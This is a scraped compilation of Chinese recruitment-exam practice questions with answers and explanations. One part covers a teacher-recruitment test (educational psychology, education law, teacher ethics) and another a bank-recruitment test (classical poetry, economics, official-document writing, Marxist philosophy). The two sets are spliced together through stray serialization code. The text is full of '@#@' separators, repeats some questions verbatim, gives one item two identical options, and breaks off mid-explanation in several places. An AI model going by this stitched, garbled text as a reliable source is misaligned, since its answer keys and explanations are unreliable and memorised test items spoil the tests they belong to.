@#@@#@　　A、动力功能@#@　　B、调节功能@#@　　C、评价功能@#@　　D、教育功能@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　【答案】B@#@　　【解析】教师职业道德以“应当怎样”和“不应当怎样”的表述来规范教师的言行，保证教育行为的正常进行，因而具有调节教师言行的作用，即教师职业道德的调节功能。

@#@故选B。

@#@@#@　　11、关于教学测量与评价的分类，按教学评价资料的处理方式可分为（）。

@#@@#@　　A、形成性评价和总结性评价@#@　　B、常模参照评价和标准参照评价@#@　　C、配置性评价和诊断性评价@#@　　D、正式评价和非正式评价@#@　　【答案】B@#@　　【解析】根据教学评价资料的处理方式，有常模参照评价和标准参照评价之分。

@#@常模参照评价是指评价时以学生所在团体的平均成绩为参照标准（即常模），根据其在团体中的相对位置（或名次）来报告评价结果。

@#@@#@　　标准参照评价，是基于某种特定的标准，来评价学生对与教学密切关联的具体知识和技能的掌握程度。

@#@故选B。

@#@@#@　　12、（）是教育法律关系发生、变更和消灭的根据。

@#@@#@　　A、法律事实@#@　　B、法律规范@#@　　C、法律条文@#@　　D、法律责任@#@　　【答案】A@#@　　【解析】教育法律事实是教育法律关系发生、变更和消灭的根据，它主要有教育法律事件和教育法律行为两种形态。

@#@故选A。

@#@@#@　　13、《中华人民共和国义务教育法》颁布于（）。

@#@@#@　　A、1985年@#@　　B、1986年@#@　　C、1987年@#@　　D、1988年@#@　　【答案】B@#@　　【解析】1986年颁布的《中华人民共和国义务教育法》以国家立法的形式正式确立我国实施九年义务教育制，并明确了我国义务教育公益性、统一性和义务性这三个基本性质。

@#@故选B。

@#@@#@　　14、下列选项中，不属于罗杰斯人本主义教育主张的是（）。

@#@@#@　　A、提倡意义学习@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　B、提倡发现学习@#@　　C、主张非指导性教学@#@　　D、主张移情性理解@#@　　【答案】B@#@　　【解析】倡导发现学习的是布鲁纳。

@#@故选B。

@#@@#@　　15、学校教育在个体身心发展过程中起（）。

@#@@#@　　A、辅助作用@#@　　B、主导作用@#@　　C、强化作用@#@　　D、促进作用@#@　　【答案】B@#@　　【解析】影响人的身心发展主要有四个因素：

@#@遗传、环境、教育和人的主观能动性。

@#@其中，遗传为人的发展提供了可能性，环境为人的身心发展提供了多种可能，学校教育起主导作用。

@#@人的主观能动性是人的发展的内在动力。

@#@故选B。

@#@@#@　　16、班主任张老师按照学生的期中考试成绩调整座位，将考试成绩后5名的学生安排在教室的最后一排。

@#@张老师的做法（）。

@#@@#@　　A、激发学生的重要手段@#@　　B、管理班级的有效手段@#@　　C、没有做到公平合理地对待每一个学生@#@　　D、侵犯了学生的受教育权@#@　　【答案】C@#@　　【解析】教师公正即教师的教育公正，是指教师在教育和教学过程中，公平合理地对待和评价每一个学生。

@#@@#@　　可以说，教师公正是教师职业道德素养水平的标志。

@#@题目中张老师根据成绩调整座位，没有做到公平合理地对待每一个学生。

@#@故选C。

@#@@#@　　17、对小学生而言，有助于集中注意力于重点内容上，并促进理解和记忆，对教材中的重点部分应进行（）。

@#@@#@　　A、摘录和划线@#@　　B、分析和写标题@#@　　C、分析和列提纲@#@　　D、做笔记@#@　　【答案】A@#@　　【解析】对于小学生而言，对学习材料中的重点部分进行摘录和划线有助于集中注意力于重点内容上，并促进理解和记忆，但摘录和划线并非是一个自动的简单的活动，因为一方面许多学生不能够主动地摘录和勾划重点，5@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　另一方面，他们也不能准确地分辨学习材料中的重要与不重要的信息，因此，教师既要引导学生把握重点、同时又要鼓励他们应用摘录和划线的学习策略。

@#@故选@#@　　18、小华做事时能遵守规则，同时具有同情心、怜悯心，这说明他的道德发展到皮亚杰道德发展理论的（）。

@#@@#@　　A、自我中心阶段@#@　　B、权威阶段@#@　　C、可逆性阶段@#@　　D、公正阶段@#@　　【答案】D@#@　　【解析】皮亚杰的道德发展理论认为，道德发展处于公正阶段的儿童将规则同整个社会和人类利益联系起来，形成具有人类关心和同情心的深层品质。

@#@故选D。

@#@@#@　　19、小华做事时能遵守规则，同时具有同情心、怜悯心，这说明他的道德发展到皮亚杰道德发展理论的（）。

@#@@#@　　A、自我中心阶段@#@　　B、权威阶段@#@　　C、可逆性阶段@#@　　D、公正阶段@#@　　【答案】D@#@　　【解析】皮亚杰的道德发展理论认为，道德发展处于公正阶段的儿童将规则同整个社会和人类利益联系起来，形成具有人类关心和同情心的深层品质。

@#@故选D。

@#@@#@　　20、《中国教育改革和发展纲要》指出：

@#@@#@　　“振兴民族的希望在教育，振兴教育的希望在（）。

@#@”@#@　　A、教师@#@　　B、学生@#@　　C、创新@#@　　D、科技@#@　　【答案】A@#@　　【解析】振兴民族的希望在教育，振兴教育的希望在教师。

@#@教师队伍是我国教育事业改革与发展的主导力量和决定因素。

@#@要办好教育，要稳步推进素质教育和新课程改革，必须坚定不移地建设和造就一支师德优、业务精、作风正、能够让人民群众满意的高素质教师队伍。

@#@故选A。

@#@@#@　　21、根据我国《未成年人保护法》规定，幼儿园应当做好保育、教育工作，促进幼儿在（）、品德等方面的和谐发展。

@#@@#@　　A、智力、纪律@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　B、体质、美育@#@　　C、体质、智力@#@　　D、智力、美育@#@　　【答案】C@#@　　【解析】根据《中华人民共和国未成年人保护法》第二十六条规定，幼儿园应当做好保育、教育工作，促进幼儿在体质、智力、品德等方面和谐发展。

@#@故选C。

@#@@#@　　22、教学中贯彻理论联系实际的原则，要防止和克服（）。

@#@@#@　　A、单纯书本，排斥实践，强调个人经验，否定理论知识的作用@#@　　B、儿童中心论@#@　　C、空洞说教，单纯知识传授@#@　　D、片面单一的知识学习@#@　　【答案】A@#@　　【解析】理论联系实际原则是指教学要以学习基础知识为主导，从理论与实际的联系上去理解知识，注意运用知识去分析问题和解决问题，达到学懂学会、学以致用的目的。

@#@故选A。

@#@@#@　　23、小林总是上学迟到，为此老师取消小林一次春游特权，以后他很少迟到。

@#@这是运用了（）的行为原理。

@#@@#@　　A、正强化@#@　　B、负强化@#@　　C、呈现性惩罚@#@　　D、取消性惩罚@#@　　【答案】D@#@　　【解析】正强化指的是，当个体做出一个行为后，给予一个积极强化物，这会增加个体做出该行为的频率。

@#@@#@　　负强化指的是当个体做出一个行为后，给予一个消极强化物撤去的事件，这也会增加该行为的出现频率。

@#@呈现性惩罚指的是当个体做出一个行为后，出现惩罚物，这也会减少该行为的出现频率。

@#@取消性惩罚指的是当个体做出一个行为后，他所希望的东西不出现，这也会减少该行为的出现频率。

@#@@#@　　“很少迟到”说明行为出现频率减少，属于惩罚，“取消一次春游特权”，说明是取消性惩罚。

@#@故选D。

@#@@#@　　24、“心理旋转实验”表明表象的（）。

@#@@#@　　A、可操作性@#@　　B、直观性@#@　　C、观察性@#@　　D、概括性@#@　　【答案】A@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　【解析】心理旋转是一种想象自我或客体旋转的空间表征动力转换能力。

@#@@#@　　“心理旋转实验”表明表象的可操作性。

@#@故选A。

@#@@#@　　25、按照科尔伯格的理论，以人际关系和谐或“好孩子”为定向的道德发展阶段处于（）。

@#@@#@　　A、前习俗水平@#@　　B、习俗水平@#@　　C、后习俗水平@#@　　D、准习俗水平@#@　　【答案】B@#@　　【解析】科尔伯格运用道德两难故事法，根据不同年龄阶段的儿童和青少年所作出的反应，将道德判断分为三个水平六个阶段。

@#@其中，习俗水平分为寻求认可（好孩子定向）和遵守法规取向阶段。

@#@故选B。

@#@@#@　　26、王老师总是“自我感觉良好”，以自我为中心，将自己的期望混同于现实，把对课堂出现的情况按自己所期望的结果加以解释，这属于（）。

@#@@#@　　A、期望效应@#@　　B、光环效应@#@　　C、晕轮效应@#@　　D、刻板效应@#@　　【答案】A@#@　　【解析】有的教师对课堂出现的情况按自己所期望的结果加以解释，把教学纳人自己所期望的轨道上去，而不是根据学生的实际情况灵活处理。

@#@这类教师通常是“自我感觉良好”，以自我为中心，将自己的期望混同于现实，把偶然情况当作必然结果，或把必然当作偶然。

@#@故选A。

@#@@#@　　27、张老师课前宣布：

@#@@#@　　“今天讲课的内容非常重要，讲完后当堂进行测验。

@#@”随后学生们精神抖擞、全神贯注地投入听课，课堂秩序井然。

@#@这种情境下形成的纪律属于（）。

@#@@#@　　A、自我促成的纪律@#@　　B、任务促成的纪律@#@　　C、规则促成的纪律@#@　　D、集体促成的纪律@#@　　【答案】B@#@　　【解析】所谓任务促成的纪律，主要指某一具体任务对学生行为提出的具体要求。

@#@题干中提出的具体任务是“当堂测验”，因此这种情境下形成的纪律属于任务促成的纪律。

@#@故选B。

@#@@#@　　28、个人品德的核心成分是（）。

@#@@#@　　A、道德认识@#@　　B、道德情感@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　C、道德意志@#@　　D、道德行为@#@　　【答案】A@#@　　【解析】一般认为，品德的心理结构由道德认知、道德情感、道德意志和道德行为构成。

@#@其中，个人品德的核心成分是道德认识。

@#@故选A。

@#@@#@　　29、我国学校以校长为首或以党委书记为首的领导班子是学校的（）。

@#@@#@　　A、执行组织机构@#@　　B、决策组织机构@#@　　C、咨询组织机构@#@　　D、监督反馈组织机构@#@　　【答案】B@#@　　【解析】我国学校以校长为首或以党委书记为首的领导班子是学校的决策组织机构。

@#@故选B。

@#@@#@　　30、以下关于教育目的的说法错误的是（）。

@#@@#@　　A、教育目的是教育活动的出发点和归宿@#@　　B、教育目的具有社会性@#@　　C、教育目的由统治阶级的意志决定@#@　　D、教育目的具有时代性@#@　　【答案】C@#@　　【解析】教育目的是整个教育工作的核心，是教育活动的出发点和归宿。

@#@教育目的具有历史性、时代性、社会性，在阶级社会里具有鲜明的阶级性。

@#@在阶级社会里，教育目的的确立直接受制于统治阶级的意志，但是从根本上说也必须反映客观生产力和科学技术发展的实际需要，故不能说教育目的由统治阶的意志决定。

@#@故选C。

@#@@#@　　31、（）取代传统的“教”与“学”是我国教育现代化和传统教育学范式现代转换的一个语言学标志。

@#@@#@　　A、教授@#@　　B、教育@#@　　C、教育学@#@　　D、教学@#@　　【答案】B@#@　　【解析】教育和教学由于内在的含义和外延不同，所包含的范围也就不同，用教育来取代教和学，使之定义更加科学、准确，是我国教育现代化和传统教育学范式现代转换的一个语言学标志。

@#@故选B。

@#@@#@　　32、学校通过开展爱国主义教育主题活动月活动，结合历史课、语文课相关内容及主题团队活动、艺术活动@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　等形式，增强学生为实现中国梦而努力学习的使命感和责任感。

@#@这些教育活动所运用的德育方式是（）。

@#@@#@　　A、说服教育法@#@　　B、榜样示范法@#@　　C、实践锻炼法@#@　　D、品德评价法@#@　　【答案】C@#@　　【解析】实践锻炼法是让学生参加各种实践活动，以形成一定的道德品质和行为习惯的方法。

@#@锻炼的方式主要是学习活动、社会活动、生产劳动和课外文体科技活动。

@#@题干中的“活动”体现了对这一德育方法的运用。

@#@@#@　　故选C。

@#@@#@　　33、现代教学媒体是现代教学的（）。

@#@@#@　　A、内容@#@　　B、目的@#@　　C、手段@#@　　D、结果@#@　　【答案】C@#@　　【解析】电子视听设备、多媒体等现代教学媒体是一种教学的手段。

@#@故选C。

@#@@#@　　34、课外活动的主体是（）。

@#@@#@　　A、教师@#@　　B、学生@#@　　C、少先队组织@#@　　D、学校管理人员@#@　　【答案】B@#@　　【解析】课外活动大多是学生在教师和有关方面的指导和帮助下，自己组织、自己设计、自己动手。

@#@课外活动是学生自己的活动，学生是课外活动的主体。

@#@教师只是活动的指导者、辅导者，对学生活动的组织起辅助作用。

@#@故选B。

@#@@#@　　35、某班主任认为现在考大学认分不认人，所以为了提高班级学生的学习成绩，平时经常给学生安排各种各样的辅导班。

@#@这位班主任所采用的领导方式是（）。

@#@@#@　　A、“教学中心”型@#@　　B、放任型@#@　　C、“集体中心”型@#@　　D、民主型@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　【答案】A@#@　　【解析】班主任的领导方式一般分为：

@#@@#@　　

（1）权威型侧重于对班级的无条件管理，严格监督学生执行教师所提出的要求的过程与结果；@#@@#@　　

（2）民主型比较善于倾听学生的意见，以直接的方式引导学生；@#@@#@　　（3）放任型主张对班级不要过多干预，以容忍的态度对待班级冲突；@#@@#@　　（4）@#@　　“教学中心”的领导方式对人的因素不够重视，班级工作只见教学不见学生，只看学生的分数不管学生的发展；@#@@#@　　（5）@#@　　“集体中心”的领导方式认为学生对集体的喜爱、期望、归属感、团结性与作业水平及学习成绩有关，所以主张用集体领导的手段管理班级，将班级作为教育的对象，而不是一对一地对待每个学生。

@#@故选A。

@#@@#@　　36、小欣是某校初一年级的学生，经常踩着铃声进教室。

@#@班主任项老师打印了一张“迟到大王”的奖状颁给小欣，并说：

@#@@#@　　“小欣，你可真是迟到大王啊。

@#@”该老师的做法（）。

@#@@#@　　A、正确，能够激励学生不再迟到@#@　　B、错误，容易伤害学生的自尊心@#@　　C、正确，维护了教师的威信@#@　　D、正确，有利于维持班级纪律@#@　　【答案】B@#@　　【解析】针对小欣经常迟到的问题，该教师应该多方面了解小欣的情况，帮助其改正迟到的缺点。

@#@题目中该教师的做法伤害了小欣的自尊心，不符合素质教育的学生观。

@#@故选B。

@#@@#@　　37、孩子哭闹着要买玩具，母亲不予理睬，这是（）。

@#@@#@　　A、正强化@#@　　B、负强化@#@　　C、惩罚@#@　　D、消退@#@　　【答案】D@#@　　【解析】消退是指无任何强化物，减少不良行为发生的频率。

@#@如本题中的不予理睬。

@#@故选D。

@#@@#@　　38、教育的本质属性是（）。

@#@@#@　　A、社会制约性@#@　　B、永恒性@#@　　C、培养人的社会活动@#@　　D、相对独立性@#@　　【答案】C@#@　　【解析】教育的本质属性即根本特征，也被称为质的规定性，是有目的的培养人的活动。

@#@有目的是目的性的反映，培养人是将人从生物人培养成为社会人的过程，是社会性的体现。

@#@因此选择C。

@#@教育的社会属性包括永恒性、历史性以及相对独立性。

@#@故选C。

@#@@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　39、在教师的主导下，师生在教育教学情境中互动，不仅使学生掌握学科知识，还逐渐确立良好的师生关系，实现教学相长的目标。

@#@良好师生关系建立的基础是师生之间的（）。

@#@@#@　　A、被管理与管理@#@　　B、被保护与保护@#@　　C、被教育与教育@#@　　D、相互尊重与平等@#@　　【答案】D@#@　　【解析】良好师生关系建立的基础是师生之间的相互尊重与平等。

@#@故选D。

@#@@#@　　40、下列选项中，（）不属于我国教育目的所包含的基本特点。

@#@@#@　　A、坚持全面发展@#@　　B、培养独立个性@#@　　C、坚持素质教育@#@　　D、培养社会主义建设人才@#@　　【答案】C@#@　　【解析】我国教育目的的基本精神包括三点：

@#@第一，我们要求培养的人是社会主义事业的建设者和接班人;@#@第二，我们要求学生在德智体等方面全面发展;@#@第三，适应时代发展的要求，强调学生个性的发展。

@#@故选C。

@#@@#@　　41、认为教育起源于原始社会中儿童对成人行为的“无意识模仿”的观点是（）。

@#@@#@　　A、申话起源说@#@　　B、生物起源随@#@　　C、心理起源说@#@　　D、劳动起源说@#@　　【答案】C@#@　　【解析】美国心理学家孟禄提出了教育的心理起源说，认为教育起源于儿童对成年人的无意识模仿。

@#@故选C。

@#@@#@　　42、教师在处理课堂纪律时，常使用目光接触，手势，身体靠近和触摸等决策来消除学生的不良行为，该老师使用的决策属于（）。

@#@@#@　　A、应用后果@#@　　B、言语提示@#@　　C、反复提示@#@　　D、非言语线索@#@　　【答案】D@#@　　【解析】教师通过目光、手势与学生进行的沟通属于非语言沟通。

@#@故选D。

@#@@#@　　43、主体性教学与下列哪一教学策略有着高度的相似性（）。

@#@@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　A、自主学习@#@　　B、合作学习@#@　　C、探究学习@#@　　D、发现学习@#@　　【答案】A@#@　　【解析】自主学习是与传统的接受学习相对应的一种现代化学习方式。

@#@以学生作为学习的主体，通过学生独立的分析、探索、实践、质疑、创造等方法来实现学习目标。

@#@主体性教学是指在素质教育思想的指导下，在教师有目的、有计划、有组织的指导和引导下，学生自觉、主动地参与教学和其他教育活动，自主地探究知识、发现问题、解决问题。

@#@二者高度相似。

@#@故选A。

@#@@#@　　44、皮亚杰认为认知的本质是（）。

@#@@#@　　A、学习@#@　　B、模仿@#@　　C、强化@#@　　D、适应@#@　　【答案】D@#@　　【解析】皮亚杰在其认知发展理论中提出了适应这个概念，他认为人类发展的本质是对环境的适应，这种适应是一个主动的过程。

@#@不是环境塑造了儿童，而是儿童主动寻求了解环境，在与环境的相互作用过程中，通过同化、顺应和平衡的过程，认知逐渐成熟起来。

@#@故选D。

@#@@#@　　45、“其身正，不令而行；@#@其身不正，虽令不从”，这句名言体现的德育方法是（）。

@#@@#@　　A、说服教育法@#@　　B、榜样示范法@#@　　C、陶冶教育法@#@　　D、实践锻炼法@#@　　【答案】B@#@　　【解析】榜样示范法是以他人的模范行为作为榜样，来影响受教育者的思想、感情、行为的方法。

@#@@#@　　“其身正，不令而行；@#@其身不正，虽令不从”的原意是：

@#@本身品行端正，就是不发命令，人民也会照着去做；@#@本身品行不正，即使发布命令，人民也不会听从，要以身作则，说明了榜样的作用，体现了榜样示范法这一德育方法。

@#@@#@　　故选B。

@#@@#@　　46、在认知领域的教学目标中，最低水平的认知学习结果是（）。

@#@@#@　　A、知识@#@　　B、领会@#@　　C、综合@#@　　【教师招聘考试经典题型历年真题可打印】@#@　　D、评价@#@　　【答案】A@#@　　【解析】知识是认知领域的构成部分，指对所学材料的记忆，包括对具体事实、方法、过程、概念和原理的回忆，其所要求的心理过程是记忆，这是最低水平的认知学习结果。

@#@故选A。

@#@@#@　　47、《教师法》规定，受到剥夺政治权利或者故意犯罪受到有期従刑以上刑事处罚，且己经取得教师资格的（）@#@　　A、保留教师资格@#@　　B、丧失教师资格@#@　　C、由所在学校中定其教师资格@#@　　D、由所在地教育行政部门审定其教师资格@#@　　【答案】B@#@　　【解";i:

15;s:

28542:

"鸡冠区招商银行招聘考试试题及答案@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、下列哪一项描写的不是“秋天”@#@　　（）。

@#@@#@　　A.寒城一以眺，平楚正苍然@#@　　B.草低金城雾，木下玉门风@#@　　C.长风吹白茅，野火烧枯桑@#@　　D.待到重阳日，还来就菊花@#@　　【答案】D@#@　　【解析】A项，出自南朝诗人谢朓的《宣城郡内登望》，描写了初秋之景。

@#@B项，出自南朝诗人范云的《别诗》，描写了西北寒秋之景。

@#@C项，出自唐代诗人岑参的《至大梁却寄匡城主人》，描写深秋原野的景象。

@#@D项，出自盛唐诗人孟浩然的《过故人庄》，诗中“待到”和“还来”表示将在秋高气爽的重阳节再来观赏菊花，而非描写“秋天”。

@#@因此D项当选。

@#@@#@　　2、自动稳定器的作用表现在（）。

@#@@#@　　A、经济繁荣时，税收减少@#@　　B、经济繁荣时，救济增加@#@　　C、经济萧条时，税收增加@#@　　D、经济萧条时，税收减少@#@　　【答案】D@#@　　【解析】自动稳定器就是能在经济出现周期性变化时自动对经济产生稳定作用的机制。

@#@自动稳定器的作用就是反周期，比如税收，拿累进税来讲，假如经济处在繁荣时期，大家收入高了，税收就会加重，从而减少居民和企业收入，反之，经济不景气时，收入降低，税收就减少了，因此可以让企业和居民保留更多的收入，因此税收在这里起到了一个调节的作用。

@#@@#@　　3、管理学中的“木桶原理”指的是在管理工作中要注意（）。

@#@@#@　　A、灵活性@#@　　B、原则性@#@　　C、程序性@#@　　D、整体性@#@　　【答案】D@#@　　【解析】@#@　　“木桶原理”是指组成木桶的木条中，其最短的一根木条决定木桶的容积，因此构成木桶的木条应长度均衡，才能使木桶成为一个有效率的整体，增加容积。

@#@@#@　　“木桶原理”强调的是整体性的重要。

@#@@#@　　4、下列批办意见不恰当的是（）。

@#@@#@　　A、拟同意@#@　　B、同意，请XX科承办@#@　　C、请XX同志阅处@#@　　D、阅@#@　　【答案】AD@#@　　【解析】批办不能只阅不批，或是只批“拟同意”或“阅”之类模棱两可文字，必须提出具体可行的批办意见，提出如何具体组织解决公文中提到的问题。

@#@所以答案选AD。

@#@@#@　　5、下列不属于简报结构的是（）。

@#@@#@　　A、报头@#@　　B、报体@#@　　C、报尾@#@　　D、落款@#@　　【答案】D@#@　　【解析】简报结构一般包括报头、报体和报尾，不包括落款。

@#@故选D。

@#@@#@　　6、超市柜台内货物的价格标签反映的是货币职能中的（）。

@#@@#@　　A、流通手段@#@　　B、贮藏手段@#@　　C、支付手段@#@　　D、价值尺度@#@　　【答案】D@#@　　【解析】货币在表现和衡量其他一切商品价值时，执行着价值尺度职能。

@#@故选D。

@#@@#@　　7、标识公文的内容特征和归属类型的关键性词语是（）。

@#@@#@　　A、主题词@#@　　B、附注@#@　　C、标题@#@　　D、附件说明@#@　　【答案】A@#@　　【解析】主题词是用来解释公文基本内容并经过规范化处理的专用词语，是在概括公文内容特征方面起关键作用的词语，也叫关键词。

@#@故选A。

@#@@#@　　8、关于赵某代拟的，“赴某市B区考察的请示”下列表述正确的是（）。

@#@@#@　　A、标题正确，发文机关可以省略@#@　　B、标题要素不全，发文机关和事由都能省略@#@　　C、标题要素齐全，事由可以省略@#@　　D、标题不正确，发文机关不能省略@#@　　【答案】A@#@　　【解析】公文的标题一般由发文机关、事由与文种名称三个部分构成，发文机关可省略，故本题的正确答案为A项。

@#@@#@　　9、古人信奉“五德终始说”，认为朝代与金、木、水、火、土五行相对应，朝代更替源于五行相克。

@#@周朝尚红色、属火，那么秦朝尚黑色、属（）。

@#@@#@　　A、金@#@　　B、木@#@　　C、水@#@　　D、土@#@　　【答案】C@#@　　【解析】五行相克的次序是：

@#@金克木、木克土、土克水、水克火、火克金。

@#@周属火，秦克周，根据五行相克“水克火”，故秦承水德，因此C项正确。

@#@@#@　　10、公孙龙“白马非马”说的错误在于割裂了（）。

@#@@#@　　A、矛盾的同一性和斗争性的关系@#@　　B、矛盾的普遍性和特殊性的关系@#@　　C、主要矛盾和非主要矛盾的关系@#@　　D、矛盾的主要方面和次要方面的关系@#@　　【答案】B@#@　　【解析】公孙龙说：

@#@@#@　　“马者，所以命形也；@#@白者，所以命色也。

@#@命色者非命青工也，故日白马非马。

@#@”意思是说，“白”是指马的颜色，“马”是指马的形体。

@#@@#@　　“白”是用来称呼马的颜色的，不能称呼马的形体，因此，“白”与“马”两个概念合在一起所包含的意思就不是“马”了。

@#@这一命题注意到了具体与抽象、个别与一般、特殊与普遍、个性与共性的关系问题，但是割裂了二者的关系。

@#@故选B。

@#@@#@　　11、通报的特点是（）。

@#@@#@　　A、具有典型性，选取的事例具有典型意义@#@　　B、具有教育性，起宣传教育的作用@#@　　C、具有叙述性，不加以论述@#@　　D、具有指导性，没有强制性规定@#@　　【答案】ABD@#@　　【解析】通报确实需要叙述事实，但有时也要展开论述。

@#@@#@　　12、事物的性质主要是由事物的（）。

@#@@#@　　A、矛盾的斗争性决定@#@　　B、矛盾的同一性决定@#@　　C、矛盾的主要方面决定的@#@　　D、主要矛盾和次要矛盾共同决定的@#@　　【答案】C@#@　　【解析】同一矛盾双方的地位是不同的，其中一方处于支配地位，决定事物的性质。

@#@这里矛盾主次方面各有一个。

@#@由于矛盾的主要方面在力量上超过矛盾的次要方面，在地位上支配着矛盾的次要方面，所以事物的性质主要是由矛盾的主要方面决定的。

@#@矛盾的主要方面发生变化，事物的性质也随之变化。

@#@同时，次要方面对事物性质有一定影响。

@#@因为主要矛盾不能离开次要方面而孤立存在。

@#@故选C。

@#@@#@　　13、下列公文发文办理的顺序正确的是（）。

@#@@#@　　A、草拟签发审核用印@#@　　B、草拟复核用印编号@#@　　C、审核签发编号用印@#@　　D、签发编号缮印封装@#@　　【答案】C@#@　　【解析】公文发文办理的顺序为:

@#@草拟、会商、审核、签发、编号、注发、复核、缮印、用印、登记、封装、分发。

@#@@#@　　14、实施西部大开发战略要统筹规划，突出重点。

@#@其哲学依据是（）。

@#@@#@　　A、同一矛盾的双方，其地位、作用是不平衡的@#@　　B、在复杂事物发展过程中，不同矛盾地位、作用是不平衡的@#@　　C、矛盾普遍存在，必须一分为二地看问题@#@　　D、一切事物都在发展，必须用发展的眼光看问题@#@　　【答案】B@#@　　【解析】复杂事物中包含多个矛盾，其中必有一个矛盾居于支配地位，对事物的发展起着决定作用，这个矛盾就是主要矛盾。

@#@反之，不处于支配地位，对事物的发展不起决定作用的矛盾就是次要矛盾。

@#@主次矛盾的原理告诉我们集中力量找出主要矛盾，才能找到解决复杂问题的重点、关键或中心，同时做到统筹兼顾，适当安排。

@#@@#@　　“实施西部大开发战略要统筹规划，突出重点”正是依据了“在复杂事物发展过程中，不同矛盾地位、作用是不平衡的”这一原理。

@#@故选B。

@#@@#@　　15、计划类文书之所以被广泛使用，是因为它在（）等方面都有作用。

@#@@#@　　A、上情下达@#@　　B、下情上达@#@　　C、联络左右@#@　　D、统一自身步调@#@　　【答案】ABD@#@　　【解析】计划类公文包括：

@#@规划、设想、计划、要点、方案等，其作用有上情下达、下情上达、统一自身步调。

@#@@#@　　16、属性与本质的关系是（）。

@#@@#@　　A、外在表现与内在联系的关系@#@　　B、引起与被引起的关系@#@　　C、第一性与第二性的关系@#@　　D、功能与结构的关系@#@　　【答案】A@#@　　【解析】本质是事物的根本性质，是事物自身组成要素之间相对稳定的内在联系，是由事物本身所具有的特殊矛盾构成的。

@#@属性是事物质的表现，一定的质的事物常表现出多种属性。

@#@它们的关系为外在表现与内在联系的关系。

@#@故选A。

@#@@#@　　17、公文标题的拟定在任何情况下都不能省略的要素是（）。

@#@@#@　　A、发文机关名称@#@　　B、事由@#@　　C、文种名称@#@　　D、事由+文种名称@#@　　【答案】C@#@　　【解析】本题考查公文的基本格式，公文的标题通常有四种形式：

@#@一是发文机关名称、事由、文种三个要素全部具备的公文标题。

@#@二是事由和文种两个要素构成的公文标题。

@#@三是发文机关名称和公文文种两个要素构成的公文标题。

@#@四是只标明文种的公文标题。

@#@所以，其他可以少，文种不能缺。

@#@故本题选择C选项。

@#@@#@　　18、下列名医与著作的对应关系不正确的是（）。

@#@@#@　　A、华佗─《伤寒杂病论》@#@　　B、葛洪—《抱朴子》@#@　　C、孙思邈─《千金方》@#@　　D、李时珍─《本草纲目》@#@　　【答案】A@#@　　【解析】@#@　　《伤寒杂病论》的作者是张仲景，华佗的著作是《青囊经》，因此A项错误，当选。

@#@@#@　　19、下列名医与著作的对应关系不正确的是（）。

@#@@#@　　A、华佗─《伤寒杂病论》@#@　　B、葛洪—《抱朴子》@#@　　C、孙思邈─《千金方》@#@　　D、李时珍─《本草纲目》@#@　　【答案】A@#@　　【解析】@#@　　《伤寒杂病论》的作者是张仲景，华佗的著作是《青囊经》，因此A项错误，当选。

@#@@#@　　20、合同中未约定标的，则合同（）。

@#@@#@　　A、成立@#@　　B、不成立@#@　　C、无效@#@　　D、可解除@#@　　【答案】B@#@　　【解析】因为合同成立的要件为：

@#@1、当事人;@#@@#@　　2、标的;@#@@#@　　3、意思表示，三者缺一不可。

@#@合同中未约定标的则视为双方未达成合意而不成立。

@#@故选B。

@#@@#@　　21、凝结在商品中无差别的一般人类劳动是（）。

@#@@#@　　A、体力劳动@#@　　B、脑力劳动@#@　　C、具体劳动@#@　　D、抽象劳动@#@　　【答案】D@#@　　【解析】抽象劳动是撇开劳动的具体形式的无差别的人类一般劳动，抽象劳动是商品价值的唯一源泉。

@#@故选D。

@#@@#@　　22、历史唯物主义认为人民群众是历史的创造者，下列选项中没有体现这一点的是（）。

@#@@#@　　A、人民群众的一切活动都推动社会历史前进@#@　　B、人民群众是物质财富的创造者@#@　　C、人民群众是实现社会变革的决定力量@#@　　D、人民群众是社会精神财富的创造者@#@　　【答案】A@#@　　【解析】A项表述过于绝对，错误。

@#@当选。

@#@@#@　　23、公文发文办理的主要程序是（）。

@#@@#@　　A、承办-初审-签发-登记@#@　　B、承办-初审-签发-登记@#@　　C、登记-复核-传阅-印发@#@　　D、复核-登记-印发-核发@#@　　【答案】D@#@　　【解析】本题考查的是公文发文办理程序发文办理是指机关内部为制发公文所进行的拟制、处置与管理活动。

@#@发文办理的一般程序为：

@#@复核、登记、印制、核发。

@#@这一程序具有很强的确定性与不可逆性。

@#@收文办理的一般程序为：

@#@签收、登记，初审、承办、传阅、催办，答复。

@#@@#@　　A项，属于收文办理程序且次序混乱。

@#@故A错误，排除。

@#@@#@　　B项，包含收文办理程序和发文办理程序。

@#@故B错误，排除。

@#@@#@　　C项，包含收文办理程序和发文办理程序。

@#@故C错误，排除。

@#@D项，内容全部是公文发文办理的主要程序。

@#@故D正确，当选。

@#@@#@　　故本题的正确答案为D项。

@#@@#@　　24、不同生产部门之间竞争的手段是（）。

@#@@#@　　A、资本的转移@#@　　B、提高劳动生产率降低成本@#@　　C、采用价格竞争@#@　　D、采用先进技术和设备@#@　　【答案】A@#@　　【解析】@#@　　B、C、D三项是同一部门内部的竞争手段。

@#@不同部门之间哪个部门的利润率高，那么其他部门的资本家就会把资金转移到该部门，所以说不同生产部门之间竞争的手段是资本转移。

@#@故选A。

@#@@#@　　25、有人指出：

@#@没有产品的广告，又怎么能知道好的产品?

@#@一些好的文章性的广告，让消费者了解新的产品，从而增加选择的空间，何乐而不为呢?

@#@有些人却认为：

@#@广告多了令人心烦。

@#@另外一些人则提出如果没有广告又觉得空空的，可选择的余地太小，总之，众说纷纭。

@#@这说明（）。

@#@@#@　　A、意识的不同主体之间具有主观差别性@#@　　B、意识的同一主体在不同条件下具有主观差别性@#@　　C、对同一对象，不同的主体会有一致的反映@#@　　D、意识的主观性表现为对客观对象的歪曲反映@#@　　【答案】A@#@　　【解析】从意识的主观差别和客观根源来看，意识的主观性表现在：

@#@一是不同主体之间的差@#@　　26、实践作为检验真理的标准,既是确定的，又是不确定的，其不确定性是因为（）。

